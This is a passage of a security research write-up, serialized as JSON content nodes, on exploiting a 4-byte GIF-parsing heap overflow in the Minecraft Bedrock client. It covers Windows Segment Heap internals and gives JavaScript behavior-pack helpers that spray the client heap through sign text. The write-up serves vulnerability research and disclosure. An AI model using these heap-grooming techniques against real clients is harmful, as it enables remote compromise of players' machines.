852,"children":148853},{"style":858},[148854],{"type":28,"value":148169},{"type":23,"tag":41,"props":148856,"children":148857},{"style":170},[148858],{"type":28,"value":9814},{"type":23,"tag":41,"props":148860,"children":148861},{"style":164},[148862],{"type":28,"value":11742},{"type":23,"tag":41,"props":148864,"children":148865},{"style":70},[148866],{"type":28,"value":31568},{"type":23,"tag":41,"props":148868,"children":148869},{"class":43,"line":54},[148870,148874,148878,148882,148886,148890,148894,148898,148902],{"type":23,"tag":41,"props":148871,"children":148872},{"style":58},[148873],{"type":28,"value":52639},{"type":23,"tag":41,"props":148875,"children":148876},{"style":70},[148877],{"type":28,"value":142},{"type":23,"tag":41,"props":148879,"children":148880},{"style":858},[148881],{"type":28,"value":3146},{"type":23,"tag":41,"props":148883,"children":148884},{"style":70},[148885],{"type":28,"value":312},{"type":23,"tag":41,"props":148887,"children":148888},{"style":164},[148889],{"type":28,"value":17282},{"type":23,"tag":41,"props":148891,"children":148892},{"style":70},[148893],{"type":28,"value":8659},{"type":23,"tag":41,"props":148895,"children":148896},{"style":170},[148897],{"type":28,"value":1022},{"type":23,"tag":41,"props":148899,"children":148900},{"style":164},[148901],{"type":28,"value":148217},{"type":23,"tag":41,"props":148903,"children":148904},{"style":70},[148905],{"type":28,"value":152},{"type":23,"tag":41,"props":148907,"children":148908},{"class":43,"line":76},[148909,148913,148917,148921,148925,148929,148933,148937,148941],{"type":23,"tag":41,"props":148910,"children":148911},{"style":858},[148912],{"type":28,"value":148229},{"type":23,"tag":41,"props":148914,"children":148915},{"style":70},[148916],{"type":28,"value":312},{"type":23,"tag":41,"props":148918,"children":148919},{"style":164},[148920],{"type":28,"value":4024},{"type":23,"tag":41,"props":148922,"children":148923},{"style":70},[148924],{"type":28,"value":8659},{"type":23,"tag":41,"props":148926,"children":148927},{"style":170},[148928],{"type":28,"value":2381},{"type":23,"tag":41,"props":148930,"children":148931},{"style":858},[148932],{"type":28,"value":37440},{"type":23,"tag":41,"props":148934,"children":148935},{"style":70},[148936],{"type":28,"value":312},{"type":23,"tag":41,"props":148938,"children":148939},{"style":164},[148940],{"type":28,"value":3123},{"type":23,"tag":41,"props":148942,"children":148943},{"style":70},[148944],{"type":28,"value":31568},{"type":23,"tag":41,"props":148946,"children":148947},{"class":43,"line":85},[148948,148952,148956,148960,148964,148968,148972,148976,148980],{"type":23,"tag":41,"props":148949,"children":148950},{"style":858},[148951],{"type":28,"value":148229},{"type":23,"tag":41,"props":148953,"children":148954},{"style":70},[148955],{"type":28,"value":312},{"type":23,"tag":41,"props":148957,"children":148958},{"style":164},[148959],{"type":28,"value":317},{"type":23,"tag":41,"props":148961,"children":148962},{"style":70},[148963],{"type":28,"value":8659},{"type":23,"tag":41,"props":148965,"children":148966},{"style":170},[148967],{"type":28,"value":2381},{"type":23,"tag":41,"props":148969,"children":148970},{"style":858},[148971],{"type":28,"value":37440},{"type":23,"tag":41,"props":148973,"children":148974},{"style":70},[148975],{"type":28,"value":312},{"type":23,"tag":41,"props":148977,"children":148978},{"style":164},[148979],{"type":28,"value":317},{"type":23,"tag":41,"props":148981,"children":148982},{"style":70},[148983],{"type":28,"value":31568},{"type":23,"tag":41,"props":148985,"children":148986},{"class":43,"line":105},[148987,148991,148995,148999,149003,149007,149011,149015,149019],{"type":23,"tag":41,"props":148988,"children":148989},{"style":858},[148990],{"type":28,"value":148229},{"type":23,"tag":41,"props":148992,"children":148993},{"style":70},[148994],{"type":28,"value":312},{"type":23,"tag":41,"props":148996,"children":148997},{"style":164},[148998],{"type":28,"value":3123},{"type":23,"tag":41,"props":149000,"children":149001},{"style":70},[149002],{"type":28,"value":8659},{"type":23,"tag":41,"props":149004,"children":149005},{"style":170},[149006],{"type":28,"value":2381},{"type":23,"tag":41,"props":149008,"children":149009},{"style":858},[149010],{"type":28,"value":37440},{"type":23,"tag":41,"props":149012,"children":149013},{"style":70},[149014],{"type":28,"value":312},{"type":23,"tag":41,"props":149016,"children":149017},{"style":164},[149018],{"type":28,"value":4024},{"type":23,"tag":41,"props":149020,"children":149021},{"style":70},[149022],{"type":28,"value":31568},{"type":23,"tag":41,"props":149024,"children":149025},{"class":43,"line":155},[149026,149030,149034,149038,149042,149046,149050,149054,149058],{"type":23,"tag":41,"props":149027,"children":149028},{"style":858},[149029],{"type":28,"value":148229},{"type":23,"tag":41,"props":149031,"children":149032},{"style":70},[149033],{"type":28,"value":312},{"type":23,"tag":41,"props":149035,"children":149036},{"style":164},[149037],{"type":28,"value":17282},{"type":23,"tag":41,"props":149039,"children":149040},{"style":70},[149041],{"type":28,"value":8659},{"type":23,"tag":41,"props":149043,"children":149044},{"style":170},[149045],{"type":28,"value":2381},{"type":23,"tag":41,"props":149047,"children":149048},{"style":858},[149049],{"type":28,"value":37440},{"type":23,"tag":41,"props":149051,"children":149052},{"style":70},[149053],{"type":28,"value":312},{"type":23,"tag":41,"props":149055,"children":149056},{"style":164},[149057],{"type":28,"value":17282},{"type":23,"tag":41,"props":149059,"children":149060},{"style":70},[149061],{"type":28,"value":31568},{"type":23,"tag":41,"props":149063,"children":149064},{"class":43,"line":186},[149065],{"type":23,"tag":41,"props":149066,"children":149067},{"style":70},[149068],{"type":28,"value":34742},{"type":23,"tag":24,"props":149070,"children":149071},{},[149072,149073,149078,149080,149085,149087,149092],{"type":28,"value":24013},{"type":23,"tag":37,"props":149074,"children":149076},{"className":149075},[],[149077],{"type":28,"value":148429},{"type":28,"value":149079}," has to set the last byte to ",{"type":23,"tag":37,"props":149081,"children":149083},{"className":149082},[],[149084],{"type":28,"value":113061},{"type":28,"value":149086}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":37,"props":149088,"children":149090},{"className":149089},[],[149091],{"type":28,"value":113061},{"type":28,"value":706},{"type":23,"tag":24,"props":149094,"children":149095},{},[149096,149098,149103,149105,149111,149112,149118],{"type":28,"value":149097},"In the code we can see that size of the ",{"type":23,"tag":37,"props":149099,"children":149101},{"className":149100},[],[149102],{"type":28,"value":147886},{"type":28,"value":149104}," allocation is controlled through ",{"type":23,"tag":37,"props":149106,"children":149108},{"className":149107},[],[149109],{"type":28,"value":149110},"g->w",{"type":28,"value":1361},{"type":23,"tag":37,"props":149113,"children":149115},{"className":149114},[],[149116],{"type":28,"value":149117},"g->h",{"type":28,"value":149119}," values, both of which are read from the input file itself:",{"type":23,"tag":31,"props":149121,"children":149123},{"code":149122,"language":3146,"meta":7,"className":16503,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[149124],{"type":23,"tag":37,"props":149125,"children":149126},{"__ignoreMap":7},[149127,149152,149159,149166,149201,149247],{"type":23,"tag":41,"props":149128,"children":149129},{"class":43,"line":44},[149130,149134,149139,149143,149147],{"type":23,"tag":41,"props":149131,"children":149132},{"style":64},[149133],{"type":28,"value":51039},{"type":23,"tag":41,"props":149135,"children":149136},{"style":70},[149137],{"type":28,"value":149138}," stbi_uc ",{"type":23,"tag":41,"props":149140,"children":149141},{"style":170},[149142],{"type":28,"value":377},{"type":23,"tag":41,"props":149144,"children":149145},{"style":114},[149146],{"type":28,"value":147065},{"type":23,"tag":41,"props":149148,"children":149149},{"style":70},[149150],{"type":28,"value":149151},"(...)\n",{"type":23,"tag":41,"props":149153,"children":149154},{"class":43,"line":54},[149155],{"type":23,"tag":41,"props":149156,"children":149157},{"style":70},[149158],{"type":28,"value":1559},{"type":23,"tag":41,"props":149160,"children":149161},{"class":43,"line":76},[149162],{"type":23,"tag":41,"props":149163,"children":149164},{"style":70},[149165],{"type":28,"value":147627},{"type":23,"tag":41,"props":149167,"children":149168},{"class":43,"line":85},[149169,149173,149177,149181,149185,149189,149193,149197],{"type":23,"tag":41,"props":149170,"children":149171},{"style":58},[149172],{"type":28,"value":52639},{"type":23,"tag":41,"props":149174,"children":149175},{"style":70},[149176],{"type":28,"value":142},{"type":23,"tag":41,"props":149178,"children":149179},{"style":858},[149180],{"type":28,"value":109016},{"type":23,"tag":41,"props":149182,"children":149183},{"style":70},[149184],{"type":28,"value":2453},{"type":23,"tag":41,"props":149186,"children":149187},{"style":858},[149188],{"type":28,"value":118439},{"type":23,"tag":41,"props":149190,"children":149191},{"style":170},[149192],{"type":28,"value":3282},{"type":23,"tag":41,"props":149194,"children":149195},{"style":164},[149196],{"type":28,"value":392},{"type":23,"tag":41,"props":149198,"children":149199},{"style":70},[149200],{"type":28,"value":152},{"type":23,"tag":41,"props":149202,"children":149203},{"class":43,"line":105},[149204,149208,149212,149216,149221,149226,149230,149235,149239,149243],{"type":23,"tag":41,"props":149205,"children":149206},{"style":58},[149207],{"type":28,"value":39279},{"type":23,"tag":41,"props":149209,"children":149210},{"style":70},[149211],{"type":28,"value":142},{"type":23,"tag":41,"props":149213,"children":149214},{"style":170},[149215],{"type":28,"value":2630},{"type":23,"tag":41,"props":149217,"children":149218},{"style":114},[149219],{"type":28,"value":149220},"stbi__gif_header",{"type":23,"tag":41,"props":149222,"children":149223},{"style":70},[149224],{"type":28,"value":149225},"(s, g, comp,",{"type":23,"tag":41,"props":149227,"children":149228},{"style":164},[149229],{"type":28,"value":4024},{"type":23,"tag":41,"props":149231,"children":149232},{"style":70},[149233],{"type":28,"value":149234},"))     ",{"type":23,"tag":41,"props":149236,"children":149237},{"style":58},[149238],{"type":28,"value":48451},{"type":23,"tag":41,"props":149240,"children":149241},{"style":164},[149242],{"type":28,"value":392},{"type":23,"tag":41,"props":149244,"children":149245},{"style":70},[149246],{"type":28,"value":183},{"type":23,"tag":41,"props":149248,"children":149249},{"class":43,"line":155},[149250,149255,149259,149263,149267,149272,149276,149280,149285,149289,149293,149297,149301,149305,149309,149313,149317,149321,149325],{"type":23,"tag":41,"props":149251,"children":149252},{"style":858},[149253],{"type":28,"value":149254},"      g",{"type":23,"tag":41,"props":149256,"children":149257},{"style":70},[149258],{"type":28,"value":2453},{"type":23,"tag":41,"props":149260,"children":149261},{"style":858},[149262],{"type":28,"value":118439},{"type":23,"tag":41,"props":149264,"children":149265},{"style":170},[149266],{"type":28,"value":3017},{"type":23,"tag":41,"props":149268,"children":149269},{"style":70},[149270],{"type":28,"value":149271}," (stbi_uc ",{"type":23,"tag":41,"props":149273,"children":149274},{"style":170},[149275],{"type":28,"value":377},{"type":23,"tag":41,"props":149277,"children":149278},{"style":70},[149279],{"type":28,"value":866},{"type":23,"tag":41,"props":149281,"children":149282},{"style":114},[149283],{"type":28,"value":149284},"stbi__malloc",{"type":23,"tag":41,"props":149286,"children":149287},{"style":70},[149288],{"type":28,"value":1737},{"type":23,"tag":41,"props":149290,"children":149291},{"style":164},[149292],{"type":28,"value":17515},{"type":23,"tag":41,"props":149294,"children":149295},{"style":170},[149296],{"type":28,"value":9814},{"type":23,"tag":41,"props":149298,"children":149299},{"style":858},[149300],{"type":28,"value":147667},{"type":23,"tag":41,"props":149302,"children":149303},{"style":70},[149304],{"type":28,"value":2453},{"type":23,"tag":41,"props":149306,"children":149307},{"style":858},[149308],{"type":28,"value":49566},{"type":23,"tag":41,"props":149310,"children":149311},{"style":170},[149312],{"type":28,"value":9814},{"type":23,"tag":41,"props":149314,"children":149315},{"style":858},[149316],{"type":28,"value":147667},{"type":23,"tag":41,"props":149318,"children":149319},{"style":70},[149320],{"type":28,"value":2453},{"type":23,"tag":41,"props":149322,"children":149323},{"style":858},[149324],{"type":28,"value":84339},{"type":23,"tag":41,"props":149326,"children":149327},{"style":70},[149328],{"type":28,"value":3825},{"type":23,"tag":24,"props":149330,"children":149331},{},[149332,149334,149339,149341,149346],{"type":28,"value":149333},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":37,"props":149335,"children":149337},{"className":149336},[],[149338],{"type":28,"value":147886},{"type":28,"value":149340}," and the value of ",{"type":23,"tag":37,"props":149342,"children":149344},{"className":149343},[],[149345],{"type":28,"value":24},{"type":28,"value":149347}," just before the OOB write happens:",{"type":23,"tag":31,"props":149349,"children":149351},{"code":149350},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[149352],{"type":23,"tag":37,"props":149353,"children":149354},{"__ignoreMap":7},[149355],{"type":28,"value":149350},{"type":23,"tag":24,"props":149357,"children":149358},{},[149359,149361,149366,149368,149373],{"type":28,"value":149360},"There are multiple within-bound writes to ",{"type":23,"tag":37,"props":149362,"children":149364},{"className":149363},[],[149365],{"type":28,"value":24},{"type":28,"value":149367},", but the last write happens just after the ",{"type":23,"tag":37,"props":149369,"children":149371},{"className":149370},[],[149372],{"type":28,"value":147886},{"type":28,"value":149374}," allocation.",{"type":23,"tag":546,"props":149376,"children":149378},{"id":149377},"summarizing-the-corruption",[149379],{"type":28,"value":149380},"Summarizing the Corruption",{"type":23,"tag":417,"props":149382,"children":149383},{},[149384,149397,149425],{"type":23,"tag":421,"props":149385,"children":149386},{},[149387,149389,149395],{"type":28,"value":149388},"A single ",{"type":23,"tag":37,"props":149390,"children":149392},{"className":149391},[],[149393],{"type":28,"value":149394},"0x01",{"type":28,"value":149396}," byte write OOB",{"type":23,"tag":421,"props":149398,"children":149399},{},[149400,149402],{"type":28,"value":149401},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":417,"props":149403,"children":149404},{},[149405,149410,149420],{"type":23,"tag":421,"props":149406,"children":149407},{},[149408],{"type":28,"value":149409},"First three bytes are controllable",{"type":23,"tag":421,"props":149411,"children":149412},{},[149413,149415],{"type":28,"value":149414},"Last byte will be ",{"type":23,"tag":37,"props":149416,"children":149418},{"className":149417},[],[149419],{"type":28,"value":113061},{"type":23,"tag":421,"props":149421,"children":149422},{},[149423],{"type":28,"value":149424},"Size of the allocation is controlled",{"type":23,"tag":421,"props":149426,"children":149427},{},[149428,149430],{"type":28,"value":149429},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":417,"props":149431,"children":149432},{},[149433,149438],{"type":23,"tag":421,"props":149434,"children":149435},{},[149436],{"type":28,"value":149437},"Allocated just before the image-parsing process",{"type":23,"tag":421,"props":149439,"children":149440},{},[149441],{"type":28,"value":149442},"Freed immediately upon parsing completion",{"type":23,"tag":442,"props":149444,"children":149445},{},[],{"type":23,"tag":24,"props":149447,"children":149448},{},[149449,149451,149458,149460,149467],{"type":28,"value":149450},"Note that this bug was already found before (",{"type":23,"tag":458,"props":149452,"children":149455},{"href":149453,"rel":149454},"https://github.com/nothings/stb/issues/656",[462],[149456],{"type":28,"value":149457},"Github Issue",{"type":28,"value":149459},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":458,"props":149461,"children":149464},{"href":149462,"rel":149463},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[462],[149465],{"type":28,"value":149466},"this commit",{"type":28,"value":706},{"type":23,"tag":446,"props":149469,"children":149470},{"id":5418},[149471],{"type":28,"value":5421},{"type":23,"tag":24,"props":149473,"children":149474},{},[149475],{"type":28,"value":149476},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":24,"props":149478,"children":149479},{},[149480],{"type":28,"value":149481},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":546,"props":149483,"children":149485},{"id":149484},"searching-for-better-primitives",[149486],{"type":28,"value":149487},"Searching for Better Primitives",{"type":23,"tag":24,"props":149489,"children":149490},{},[149491],{"type":28,"value":149492},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":24,"props":149494,"children":149495},{},[149496,149498,149505],{"type":28,"value":149497},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":458,"props":149499,"children":149502},{"href":149500,"rel":149501},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[462],[149503],{"type":28,"value":149504},"UWP",{"type":28,"value":149506}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":546,"props":149508,"children":149510},{"id":149509},"segment-heap",[149511],{"type":28,"value":149512},"Segment Heap",{"type":23,"tag":24,"props":149514,"children":149515},{},[149516,149518,149525],{"type":28,"value":149517},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":458,"props":149519,"children":149522},{"href":149520,"rel":149521},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[462],[149523],{"type":28,"value":149524},"this talk",{"type":28,"value":149526}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":18881,"props":149528,"children":149530},{"id":149529},"low-fragmentation-heap",[149531],{"type":28,"value":149532},"Low Fragmentation Heap",{"type":23,"tag":24,"props":149534,"children":149535},{},[149536,149538,149544],{"type":28,"value":149537},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":37,"props":149539,"children":149541},{"className":149540},[],[149542],{"type":28,"value":149543},"0x3ff0",{"type":28,"value":149545}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":24,"props":149547,"children":149548},{},[149549],{"type":28,"value":149550},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":31,"props":149552,"children":149554},{"code":149553},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[149555],{"type":23,"tag":37,"props":149556,"children":149557},{"__ignoreMap":7},[149558],{"type":28,"value":149553},{"type":23,"tag":24,"props":149560,"children":149561},{},[149562],{"type":28,"value":149563},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":18881,"props":149565,"children":149567},{"id":149566},"variable-size",[149568],{"type":28,"value":149569},"Variable Size",{"type":23,"tag":24,"props":149571,"children":149572},{},[149573,149575,149581,149583,149589],{"type":28,"value":149574},"This subsegment is used for allocation sizes from ",{"type":23,"tag":37,"props":149576,"children":149578},{"className":149577},[],[149579],{"type":28,"value":149580},"0x4000",{"type":28,"value":149582}," and up to ",{"type":23,"tag":37,"props":149584,"children":149586},{"className":149585},[],[149587],{"type":28,"value":149588},"0x20_000",{"type":28,"value":149590},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":31,"props":149592,"children":149594},{"code":149593},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[149595],{"type":23,"tag":37,"props":149596,"children":149597},{"__ignoreMap":7},[149598],{"type":28,"value":149593},{"type":23,"tag":24,"props":149600,"children":149601},{},[149602,149604,149610],{"type":28,"value":149603},"The header, ",{"type":23,"tag":37,"props":149605,"children":149607},{"className":149606},[],[149608],{"type":28,"value":149609},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":149611},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":442,"props":149613,"children":149614},{},[],{"type":23,"tag":24,"props":149616,"children":149617},{},[149618],{"type":28,"value":149619},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":24,"props":149621,"children":149622},{},[149623,149625,149632],{"type":28,"value":149624},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":458,"props":149626,"children":149629},{"href":149627,"rel":149628},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[462],[149630],{"type":28,"value":149631},"technique published",{"type":28,"value":149633}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":24,"props":149635,"children":149636},{},[149637],{"type":28,"value":149638},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":24,"props":149640,"children":149641},{},[149642],{"type":28,"value":149643},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":546,"props":149645,"children":149647},{"id":149646},"finding-a-way-to-spray-the-heap",[149648],{"type":28,"value":149649},"Finding a Way to Spray the Heap",{"type":23,"tag":24,"props":149651,"children":149652},{},[149653],{"type":28,"value":149654},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":417,"props":149656,"children":149657},{},[149658,149663,149668,149673],{"type":23,"tag":421,"props":149659,"children":149660},{},[149661],{"type":28,"value":149662},"The size of the allocation",{"type":23,"tag":421,"props":149664,"children":149665},{},[149666],{"type":28,"value":149667},"The data written into the allocated buffer",{"type":23,"tag":421,"props":149669,"children":149670},{},[149671],{"type":28,"value":149672},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":421,"props":149674,"children":149675},{},[149676],{"type":28,"value":149677},"The number of created objects (preferably unbounded)",{"type":23,"tag":24,"props":149679,"children":149680},{},[149681],{"type":28,"value":149682},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":18881,"props":149684,"children":149686},{"id":149685},"minecraft-signs",[149687],{"type":28,"value":149688},"Minecraft Signs",{"type":23,"tag":24,"props":149690,"children":149691},{},[149692],{"type":28,"value":149693},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":24,"props":149695,"children":149696},{},[149697,149699,149705],{"type":28,"value":149698},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":37,"props":149700,"children":149702},{"className":149701},[],[149703],{"type":28,"value":149704},"std::string",{"type":28,"value":706},{"type":23,"tag":24,"props":149707,"children":149708},{},[149709,149711,149716],{"type":28,"value":149710},"In Microsoft’s C++ implementation, ",{"type":23,"tag":37,"props":149712,"children":149714},{"className":149713},[],[149715],{"type":28,"value":149704},{"type":28,"value":149717}," is structured roughly as follows:",{"type":23,"tag":31,"props":149719,"children":149721},{"code":149720,"language":3146,"meta":7,"className":16503,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[149722],{"type":23,"tag":37,"props":149723,"children":149724},{"__ignoreMap":7},[149725,149736,149743,149755,149771,149795,149802,149813,149825],{"type":23,"tag":41,"props":149726,"children":149727},{"class":43,"line":44},[149728,149732],{"type":23,"tag":41,"props":149729,"children":149730},{"style":64},[149731],{"type":28,"value":9399},{"type":23,"tag":41,"props":149733,"children":149734},{"style":70},[149735],{"type":28,"value":85038},{"type":23,"tag":41,"props":149737,"children":149738},{"class":43,"line":54},[149739],{"type":23,"tag":41,"props":149740,"children":149741},{"style":70},[149742],{"type":28,"value":1559},{"type":23,"tag":41,"props":149744,"children":149745},{"class":43,"line":76},[149746,149751],{"type":23,"tag":41,"props":149747,"children":149748},{"style":64},[149749],{"type":28,"value":149750},"    union",{"type":23,"tag":41,"props":149752,"children":149753},{"style":70},[149754],{"type":28,"value":102},{"type":23,"tag":41,"props":149756,"children":149757},{"class":43,"line":85},[149758,149763,149767],{"type":23,"tag":41,"props":149759,"children":149760},{"style":64},[149761],{"type":28,"value":149762},"        char",{"type":23,"tag":41,"props":149764,"children":149765},{"style":170},[149766],{"type":28,"value":377},{"type":23,"tag":41,"props":149768,"children":149769},{"style":70},[149770],{"type":28,"value":16545},{"type":23,"tag":41,"props":149772,"children":149773},{"class":43,"line":105},[149774,149778,149783,149787,149791],{"type":23,"tag":41,"props":149775,"children":149776},{"style":64},[149777],{"type":28,"value":149762},{"type":23,"tag":41,"props":149779,"children":149780},{"style":858},[149781],{"type":28,"value":149782}," buf",{"type":23,"tag":41,"props":149784,"children":149785},{"style":70},[149786],{"type":28,"value":312},{"type":23,"tag":41,"props":149788,"children":149789},{"style":164},[149790],{"type":28,"value":40837},{"type":23,"tag":41,"props":149792,"children":149793},{"style":70},[149794],{"type":28,"value":31568},{"type":23,"tag":41,"props":149796,"children":149797},{"class":43,"line":155},[149798],{"type":23,"tag":41,"props":149799,"children":149800},{"style":70},[149801],{"type":28,"value":38990},{"type":23,"tag":41,"props":149803,"children":149804},{"class":43,"line":186},[149805,149809],{"type":23,"tag":41,"props":149806,"children":149807},{"style":64},[149808],{"type":28,"value":16553},{"type":23,"tag":41,"props":149810,"children":149811},{"style":70},[149812],{"type":28,"value":124320},{"type":23,"tag":41,"props":149814,"children":149815},{"class":43,"line":195},[149816,149820],{"type":23,"tag":41,"props":149817,"children":149818},{"style":64},[149819],{"type":28,"value":16553},{"type":23,"tag":41,"props":149821,"children":149822},{"style":70},[149823],{"type":28,"value":149824}," capacity;\n",{"type":23,"tag":41,"props":149826,"children":149827},{"class":43,"line":905},[149828],{"type":23,"tag":41,"props":149829,"children":149830},{"style":70},[149831],{"type":28,"value":936},{"type":23,"tag":24,"props":149833,"children":149834},{},[149835,149837,149843,149845,149850],{"type":28,"value":149836},"We are primarily interested in the union: ",{"type":23,"tag":37,"props":149838,"children":149840},{"className":149839},[],[149841],{"type":28,"value":149842},"buf",{"type":28,"value":149844}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":37,"props":149846,"children":149848},{"className":149847},[],[149849],{"type":28,"value":13943},{"type":28,"value":149851}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":24,"props":149853,"children":149854},{},[149855],{"type":28,"value":149856},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":24,"props":149858,"children":149859},{},[149860],{"type":28,"value":149861},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":18881,"props":149863,"children":149865},{"id":149864},"spraying-with-server-side-scripting",[149866],{"type":28,"value":149867},"Spraying With Server-Side Scripting",{"type":23,"tag":24,"props":149869,"children":149870},{},[149871],{"type":28,"value":149872},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":24,"props":149874,"children":149875},{},[149876,149878,149884,149885,149891],{"type":28,"value":149877},"We wrote ",{"type":23,"tag":37,"props":149879,"children":149881},{"className":149880},[],[149882],{"type":28,"value":149883},"alloc",{"type":28,"value":1361},{"type":23,"tag":37,"props":149886,"children":149888},{"className":149887},[],[149889],{"type":28,"value":149890},"free",{"type":28,"value":149892}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":31,"props":149894,"children":149896},{"code":149895,"language":35610,"meta":7,"className":35608,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[149897],{"type":23,"tag":37,"props":149898,"children":149899},{"__ignoreMap":7},[149900,149908,149950,149983,150028,150040,150047,150054,150115,150142,150157,150164,150171,150200,150215,150222,150229,150237,150261,150312,150323,150330,150337,150374,150401,150408,150437,150467,150474,150501],{"type":23,"tag":41,"props":149901,"children":149902},{"class":43,"line":44},[149903],{"type":23,"tag":41,"props":149904,"children":149905},{"style":48},[149906],{"type":28,"value":149907},"// Allocate sign text in the client\n",{"type":23,"tag":41,"props":149909,"children":149910},{"class":43,"line":54},[149911,149915,149920,149924,149928,149932,149937,149941,149946],{"type":23,"tag":41,"props":149912,"children":149913},{"style":64},[149914],{"type":28,"value":31371},{"type":23,"tag":41,"props":149916,"children":149917},{"style":114},[149918],{"type":28,"value":149919}," 